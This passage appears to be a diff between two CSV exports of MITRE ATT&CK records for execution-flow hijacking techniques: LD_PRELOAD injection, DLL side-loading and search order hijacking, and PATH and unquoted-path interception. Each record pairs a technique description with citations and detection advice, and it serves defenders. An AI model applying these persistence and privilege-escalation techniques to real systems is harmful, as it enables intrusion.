","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/006', 'external_id': 'T1574.006'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html', 'external_id': 'CAPEC-13'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/640.html', 'external_id': 'CAPEC-640'}, {'source_name': 'Man LD.SO', 'description': ""Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020."", 'url': 'https://www.man7.org/linux/man-pages/man8/ld.so.8.html'}, {'source_name': 'TLDP Shared Libraries', 'description': 'The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.', 'url': 'https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html'}, {'source_name': 'Apple Doco Archive Dynamic Libraries', 'description': 'Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html'}, {'source_name': 'Baeldung LD_PRELOAD', 'description': 'baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.', 'url': 'https://www.baeldung.com/linux/ld_preload-trick-what-is'}, {'source_name': 'Code Injection on Linux and macOS', 'description': 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.', 'url': 'https://www.datawire.io/code-injection-on-linux-and-macos/'}, {'source_name': 'Uninformed Needle', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'url': 'http://hick.org/code/skape/papers/needle.txt'}, {'source_name': 'Phrack halfdead 1997', 'description': 'halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.', 'url': 'http://phrack.org/issues/51/8.html'}, {'source_name': 'Brown Exploiting Linkers', 'description': 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.', 'url': 'http://www.nth-dimension.org.uk/pub/BTL.pdf'}, {'source_name': 'TheEvilBit DYLD_INSERT_LIBRARIES', 'description': 'Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.', 'url': 'https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/'}, {'source_name': 'Timac DYLD_INSERT_LIBRARIES', 'description': 'Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.', 'url': 'https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/'}, {'source_name': 'Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass', 'description': 'Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.', 'url': 'https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes. -Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",,,,,True,,,['User'],"['Linux', 'macOS']",,,,2.0 -2020-03-13 19:41:37.908000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). +Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",True,['User'],"['Linux', 'macOS']",2.0,,,,,,, +attack-pattern,attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T19:41:37.908Z,2021-04-26T18:31:34.954Z,DLL Side-Loading,"Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). -Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/002', external_id='T1574.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/641.html', external_id='CAPEC-641'), ExternalReference(source_name='FireEye DLL Side-Loading', description='Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.', url='https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf')]",attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-26 18:31:34.954000+00:00,DLL Side-Loading,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation']","['Anti-virus', 'Application control']",,,,"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",,,,,True,,,,['Windows'],,,,2.0 -2020-03-13 18:11:08.357000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. +Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/002', 'external_id': 'T1574.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/641.html', 'external_id': 'CAPEC-641'}, {'source_name': 'FireEye DLL Side-Loading', 'description': 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation']","['Anti-virus', 'Application control']","Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",True,,['Windows'],2.0,,,,,,, +attack-pattern,attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T18:11:08.357Z,2021-04-26T18:37:03.748Z,DLL Search Order Hijacking,"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) -If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/001', external_id='T1574.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/471.html', external_id='CAPEC-471'), ExternalReference(source_name='Microsoft Dynamic Link Library Search Order', description='Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.', url='https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN'), ExternalReference(source_name='FireEye Hijacking July 2010', description='Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.', url='https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html'), ExternalReference(source_name='OWASP Binary Planting', description='OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.', url='https://www.owasp.org/index.php/Binary_planting'), ExternalReference(source_name='FireEye fxsst June 2011', description='Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.', url='https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html'), ExternalReference(source_name='Microsoft Security Advisory 2269637', description='Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.', url='https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637'), ExternalReference(source_name='Microsoft Dynamic-Link Library Redirection', description='Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN'), ExternalReference(source_name='Microsoft Manifests', description='Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.', url='https://msdn.microsoft.com/en-US/library/aa375365'), ExternalReference(source_name='FireEye DLL Search Order Hijacking', description='Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.', url='https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html')]",attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-26 18:37:03.748000+00:00,DLL Search Order Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Module: Module Load']",,,,,"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",,,,,True,,,,['Windows'],,,,1.1 -2020-03-13 17:48:58.999000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. +If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/001', 'external_id': 'T1574.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/471.html', 'external_id': 'CAPEC-471'}, {'source_name': 'Microsoft Dynamic Link Library Search Order', 'description': 'Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN'}, {'source_name': 'FireEye Hijacking July 2010', 'description': 'Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html'}, {'source_name': 'OWASP Binary Planting', 'description': 'OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.', 'url': 'https://www.owasp.org/index.php/Binary_planting'}, {'source_name': 'FireEye fxsst June 2011', 'description': 'Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html'}, {'source_name': 'Microsoft Security Advisory 2269637', 'description': 'Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637'}, {'source_name': 'Microsoft Dynamic-Link Library Redirection', 'description': 'Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN'}, {'source_name': 'Microsoft Manifests', 'description': 'Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.', 'url': 'https://msdn.microsoft.com/en-US/library/aa375365'}, {'source_name': 'FireEye DLL Search Order Hijacking', 'description': 'Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Module: Module Load']",,"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",True,,['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T17:48:58.999Z,2020-09-17T19:03:35.217Z,Path Interception by Search Order Hijacking,"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. For example, ""example.exe"" runs ""cmd.exe"" with the command-line argument net user. An adversary may place a program called ""net.exe"" within the same directory as example.exe, ""net.exe"" will be run instead of the Windows system utility net. In addition, if an adversary places a program called ""net.com"" in the same directory as ""net.exe"", then cmd.exe /C net user will execute ""net.com"" instead of ""net.exe"" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property) -Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/008', external_id='T1574.008'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/159.html', external_id='CAPEC-159'), ExternalReference(source_name='Microsoft CreateProcess', description='Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', url='http://msdn.microsoft.com/en-us/library/ms682425'), ExternalReference(source_name='Windows NT Command Shell', description='Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.', url='https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120'), ExternalReference(source_name='Microsoft WinExec', description='Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.', url='http://msdn.microsoft.com/en-us/library/ms687393'), ExternalReference(source_name='Microsoft Environment Property', description='Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.', url='https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN')]",attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-17 19:03:35.217000+00:00,Path Interception by Search Order Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,,,,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/008', 'external_id': 'T1574.008'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/159.html', 'external_id': 'CAPEC-159'}, {'source_name': 'Microsoft CreateProcess', 'description': 'Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/ms682425'}, {'source_name': 'Windows NT Command Shell', 'description': 'Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.', 'url': 'https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120'}, {'source_name': 'Microsoft WinExec', 'description': 'Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/ms687393'}, {'source_name': 'Microsoft Environment Property', 'description': 'Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.', 'url': 'https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. -",,,"['Administrator', 'SYSTEM', 'User']",,True,,,"['Administrator', 'User', 'SYSTEM']",['Windows'],,,,1.0 -2020-03-13 14:10:43.424000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line. +",True,"['Administrator', 'User', 'SYSTEM']",['Windows'],1.0,,,,"['Administrator', 'SYSTEM', 'User']",,, +attack-pattern,attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T14:10:43.424Z,2020-09-16T16:56:34.583Z,Path Interception by PATH Environment Variable,"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line. The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line. -For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system ""net"" when ""net"" is executed from the command-line.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/007', external_id='T1574.007'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/13.html', external_id='CAPEC-13'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/38.html', external_id='CAPEC-38')]",attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-16 16:56:34.583000+00:00,Path Interception by PATH Environment Variable,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",['Application control'],,,,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system ""net"" when ""net"" is executed from the command-line.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/007', 'external_id': 'T1574.007'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html', 'external_id': 'CAPEC-13'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/38.html', 'external_id': 'CAPEC-38'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",['Application control'],"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. -Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,,,True,,,,['Windows'],,,,1.0 -2020-03-13 13:51:58.519000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,,['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T13:51:58.519Z,2020-09-17T19:05:23.755Z,Path Interception by Unquoted Path,"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. ""C:\safe path with space\program.exe""). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide) -This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/009', external_id='T1574.009'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/38.html', external_id='CAPEC-38'), ExternalReference(source_name='Microsoft CurrentControlSet Services', description='Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.', url='https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'), ExternalReference(source_name='Help eliminate unquoted path', description='Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.', url='https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464'), ExternalReference(source_name='Windows Unquoted Services', description='HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.', url='https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/'), ExternalReference(source_name='Windows Privilege Escalation Guide', description='absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.', url='https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/')]",attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-17 19:05:23.755000+00:00,Path Interception by Unquoted Path,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,,,,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 